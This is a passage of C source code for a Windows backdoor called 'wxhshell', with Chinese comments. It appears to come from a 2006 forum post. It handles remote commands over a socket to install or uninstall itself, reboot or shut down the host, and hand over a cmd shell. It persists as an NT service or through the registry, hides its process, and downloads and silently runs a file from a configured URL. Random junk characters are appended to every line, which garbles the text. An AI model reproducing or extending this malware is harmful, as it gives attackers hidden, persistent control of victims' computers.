      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); $cR{o#  
    break; i!cCMh8  
  } p7Cs.2>M>S  
  // 安装 yN c2@  
  case 'i': { KG@8RtHsQ  
    if(Install()) 8f7>?BUS,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); | 3%8&@ho  
    else 2%> FR4a  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); oE~RyS X  
    break; OTp]Xe/  
    } \1`O_DF~o  
  // 卸载 j4b4!^fV  
  case 'r': { AEuG v}#  
    if(Uninstall()) Y~Ifj,\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); eq"]%s  
    else Ug`djIL  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^&)|sP  
    break; b2]Kx&!  
    } jIF |P-  
  // 显示 wxhshell 所在路径 Bf:Q2slqI  
  case 'p': { B:QHwzd  
    char svExeFile[MAX_PATH]; XM}hUJJW  
    strcpy(svExeFile,"\n\r"); Q^I\cAIB  
      strcat(svExeFile,ExeFile); a6H%5N  
        send(wsh,svExeFile,strlen(svExeFile),0); CJ%I51F`X  
    break; yBRC*0+Vy  
    } m3ff;,  
  // 重启 7rPF$ \#  
  case 'b': { 8] ikygt"  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); J=L5=G7(  
    if(Boot(REBOOT)) '!$%> ||S  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); H:G1BZjq  
    else { ;wVwX6:ZKr  
    closesocket(wsh); T Ge_G_'o  
    ExitThread(0); SzRmF1<  
    } ?q&T$8zc4  
    break; Gy)@Is9  
    } PzGWff!*n  
  // 关机 [:V$y1  
  case 'd': { %UM *79  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 8X0z~ &  
    if(Boot(SHUTDOWN)) 5PW^j\G-f  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); rGkyGz8>  
    else { c)tfAD(N8x  
    closesocket(wsh); \Roz$t-R|f  
    ExitThread(0); <,(,jU)j  
    } KYP!Rs/j.  
    break; T)}) pt!V  
    } `lPfb[b  
  // 获取shell ipILG4  
  case 's': { 5-G@L?~Vw  
    CmdShell(wsh); j7c3(*Pl  
    closesocket(wsh); wPl%20t  
    ExitThread(0); pmilrZmm]  
    break; 2"5v[,$1H  
  } :Yks|VJ1  
  // 退出 s@DLt+ O5  
  case 'x': { iX\X>W$P  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Z8oK2Dw  
    CloseIt(wsh); ,(4K4pN  
    break; M[uA@  
    } ]~nKK@Rw  
  // 离开 :aQt;C6Z>  
  case 'q': { m6djeOl  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ;GhNKPY  
    closesocket(wsh); 7)k\{&+P  
    WSACleanup(); km40qO@3  
    exit(1); XrPfotj1  
    break; }{"fJ3] c^  
        } 4e1Y/ Xq`  
  } ]fD} ^s3G  
  } p^_yU_  
 kwA$Z!Rn  
  // 提示信息 {GO#.P"  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +{U cspqM  
} 9mFE?J  
  } 63A.@mL  
X$pJ :M{F$  
  return; 7= DdrG<  
} >U3cTEs cj  
`p7=t)5k  
// shell模块句柄 V!dtF,tH  
int CmdShell(SOCKET sock) 5D l/aHb  
{ 2|bn(QYz  
STARTUPINFO si; u4_9)P`]0  
ZeroMemory(&si,sizeof(si)); W T}H>T  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ``Un&-Ms  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; L^Fy#p  
PROCESS_INFORMATION ProcessInfo; (M ~e?s  
char cmdline[]="cmd"; ,1##p77.  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); N"1B/u  
  return 0; M xG W(p  
} #u + v_  
_,d~}_$`i  
// 自身启动模式 6_ow%Rx~F  
int StartFromService(void) =>dGL|  
{ <rmvcim{*  
typedef struct lA-h`rl /  
{ 2"S}bfrX  
  DWORD ExitStatus; xjUtl  
  DWORD PebBaseAddress; N&V`K0FU  
  DWORD AffinityMask; O<e{  
  DWORD BasePriority; e*n@j  
  ULONG UniqueProcessId; 'Qo*y%{@5  
  ULONG InheritedFromUniqueProcessId; L~>i,  
}   PROCESS_BASIC_INFORMATION; Y5d\d\e/  
LraWcO\or'  
PROCNTQSIP NtQueryInformationProcess; 0C*7K?/  
EU/8=JA1  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; `V3Fx{  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 4NIRmDEd  
S@ f9c  
  HANDLE             hProcess; {vO9p tR;  
  PROCESS_BASIC_INFORMATION pbi; vA.MRu#  
Zr,VR-kW+  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); +&"zU GTIc  
  if(NULL == hInst ) return 0; }-3mPy(*%  
Uv~QUL3>  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); c{LO6dNg\z  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); |B2+{@R  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 7`hP?a=  
=6#Eh=7N  
  if (!NtQueryInformationProcess) return 0; -FCe:iY! A  
\_6/vZ%-B  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); -7(@1@1  
  if(!hProcess) return 0; [ps*uva  
jMDY(mwt  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; <1COZ)   
.K<Q&  
  CloseHandle(hProcess); ED& `_h7?  
/ Qk4  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); kn"(A .R  
if(hProcess==NULL) return 0; f0aKlhEC  
gOOPe5+ J  
HMODULE hMod; Vl!6W@g  
char procName[255]; .@Dxp]/B}  
unsigned long cbNeeded; 0k(a VkZ I  
A$xF$l  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); (/*]?Ehd  
lo!+f"7ym\  
  CloseHandle(hProcess); ~**.|%Kc  
AjgF6[B  
if(strstr(procName,"services")) return 1; // 以服务启动 [=^3n#WW  
R+,u^;\  
  return 0; // 注册表启动 mju>>\9  
} LRMx<X8  
:TC@tM~Oy  
// 主模块 D+7Rz_=  
int StartWxhshell(LPSTR lpCmdLine) q=qcm`ce  
{ Mzw X>3x  
  SOCKET wsl; U2~kJ  
BOOL val=TRUE; ?#YE`]  
  int port=0; CoAv Sw  
  struct sockaddr_in door; Km6YP!i  
-{vKus  
  if(wscfg.ws_autoins) Install(); +V^;.P</  
oD1/{dRzj  
port=atoi(lpCmdLine); 1\rz%E  
_M5|Y@XN-  
if(port<=0) port=wscfg.ws_port; VD]zz ^  
)M//l1  
  WSADATA data; 1s@+;QUib  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Bv%GJ*>>  
l/ ;  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   "4,?uPi  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ">j j  
  door.sin_family = AF_INET; 'D"C4;X  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 2Jmz(cH%  
  door.sin_port = htons(port); 9 ea\vZ  
~B(4qK1G  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { f_Av3  
closesocket(wsl); ~Ti'FhN  
return 1; bl(RyA gA  
} -701j'q{  
GU8sO@S5#  
  if(listen(wsl,2) == INVALID_SOCKET) { 0f>5(ek  
closesocket(wsl); }HePZ{PLM  
return 1; Y6L ~K?  
} W$ 2C47i  
  Wxhshell(wsl); oW Nh@C  
  WSACleanup(); Q=20IQp  
=j*$ |X3W  
return 0; zb<6 Ov  
q,eVjtF  
} BV upDGh3  
!*. -`$x  
// 以NT服务方式启动 6s/&BR  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ?+a,m# Yx  
{ /& +tf*  
DWORD   status = 0; ^ tg<K  
  DWORD   specificError = 0xfffffff; wInh~p  
%vhnl'  
  serviceStatus.dwServiceType     = SERVICE_WIN32; /j|G(vt5  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; .:QLk&a,:,  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; aL&7 1^R,  
  serviceStatus.dwWin32ExitCode     = 0; H_X [t*2  
  serviceStatus.dwServiceSpecificExitCode = 0; w{@o^rs  
  serviceStatus.dwCheckPoint       = 0; xZwLlY  
  serviceStatus.dwWaitHint       = 0; hUMf"=q+  
% pd,%pg  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Z>Wg*sZy)  
  if (hServiceStatusHandle==0) return; thM4vq   
D"?fn<2  
status = GetLastError(); r^a7MHY1  
  if (status!=NO_ERROR) $LFYoovX  
{ i||]V*5n  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; wN-d'-z/rd  
    serviceStatus.dwCheckPoint       = 0; scou%K  
    serviceStatus.dwWaitHint       = 0; GV69eG3bX#  
    serviceStatus.dwWin32ExitCode     = status; ;^%4Q"  
    serviceStatus.dwServiceSpecificExitCode = specificError; |pp*|v1t  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); /M4{Wc  
    return; T iiWp!mX  
  } C$D -Pt"+  
?9\EN|O^  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; a (b#  
  serviceStatus.dwCheckPoint       = 0; lqZ5?BD1  
  serviceStatus.dwWaitHint       = 0; m?fy^>1  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ZR?yDgL  
} )PuFuf(wz  
ft KTnK.  
// 处理NT服务事件,比如:启动、停止 sN2p76KN  
VOID WINAPI NTServiceHandler(DWORD fdwControl)  &NK,VB;  
{ S4Ww5G?.  
switch(fdwControl) d0Qd$ .%A  
{ W=vP]x >J  
case SERVICE_CONTROL_STOP: IrhA+)pdse  
  serviceStatus.dwWin32ExitCode = 0; hB>oJC  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; iQ fJ  
  serviceStatus.dwCheckPoint   = 0; C3],n   
  serviceStatus.dwWaitHint     = 0; i/ )am9  
  { Te wb?:  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); @jSYB+D  
  } kZZh"#W: L  
  return; cm[&?  
case SERVICE_CONTROL_PAUSE: Dq5j1m.  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; $gy*D7  
  break; X4E%2-m@'  
case SERVICE_CONTROL_CONTINUE: SB|Qa}62  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; '~&X wZ&  
  break; DSk/q-'u  
case SERVICE_CONTROL_INTERROGATE: ;y\IqiA{o  
  break; (Dl$kGn  
}; W$OG( m!W>  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); s1NKLt  
} K3;nY}\>  
sOJQ,"sB  
// 标准应用程序主函数 !&/{E [  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) "*5hiTr8+  
{ dA0.v+Foz"  
@EpIh&  
// 获取操作系统版本 X+S9{X#Cm  
OsIsNt=GetOsVer(); <55 g3>X  
GetModuleFileName(NULL,ExeFile,MAX_PATH); C/kW0V7  
"C19b:4H  
  // 从命令行安装 OJ$]V,Z00x  
  if(strpbrk(lpCmdLine,"iI")) Install(); -[!P!d=  
*ikc]wQr$  
  // 下载执行文件 -~ Mb  
if(wscfg.ws_downexe) { af+IP_6 .  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 80/F7q'tn  
  WinExec(wscfg.ws_filenam,SW_HIDE); .#Z%1U%P.  
} #9xd[A : N  
m{uxI za  
if(!OsIsNt) { 7-T{a<g  
// 如果时win9x,隐藏进程并且设置为注册表启动 A1#%`^W9  
HideProc(); #+5pgD2C  
StartWxhshell(lpCmdLine); aL%AQB,  
} {{MRELipW  
else DRgTe&+  
  if(StartFromService()) ul2")HL];  
  // 以服务方式启动 CS-uNG6  
  StartServiceCtrlDispatcher(DispatchTable); ayD}r#7  
else }mdAM6  
  // 普通方式启动 ,Bo>E:u  
  StartWxhshell(lpCmdLine); }J1tdko#  
.CU5}Tv-  
return 0; mkF"   
}
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只看该作者 1 发表于: 2006-10-10
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